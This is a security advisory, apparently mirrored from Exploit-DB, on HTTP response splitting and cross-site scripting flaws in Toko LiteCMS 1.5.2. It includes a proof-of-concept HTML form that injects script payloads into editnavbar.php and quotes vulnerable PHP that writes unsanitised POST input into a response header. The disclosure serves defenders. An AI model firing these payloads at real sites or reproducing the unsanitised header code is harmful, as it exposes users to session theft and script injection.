Toko Lite CMS 1.5.2 – HTTP Response Splitting / Cross-Site Scripting

  • 作者： Gjoko Krstic
    日期： 2011-09-19
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/36140/
  • source: https://www.securityfocus.com/bid/49673/info

Toko LiteCMS is prone to an HTTP-response-splitting vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

Toko LiteCMS 1.5.2 is vulnerable; other versions may also be affected. 

Cross Site Scripting Vulnerabilities

<html>
<title>Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss(){document.forms["xss"].submit();}
</script>
<br /><br />
<form action="http://www.example.com/tokolite1.5.2/editnavbar.php" enctype="application/x-www-form-urlencoded" method="POST" id="xss">
<input type="hidden" name="currPath" value=&#039;"><script>alert(1)</script>&#039; />
<input type="hidden" name="path" value=&#039;"><script>alert(2)</script>&#039; />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!</h3></center></font></b></a><br /><br />
</body></html>


HTTP Response Splitting

====================================================================
/edit.php:
--------------------------------------------------------------------

 3: $charSet = "iso-8859-1";
 4: $dir = "ltr";
 5:
 6: if ( isset( $_POST[ "charSet" ] ) )
 7: {
 8: $charSet = $_POST[ "charSet" ];
 9:
10: if ( $charSet == "windows-1255" )
11: {
12:$dir = "rtl";
13: }
14: }
15:
16: header( "Content-Type: text/html; charset=" . $charSet );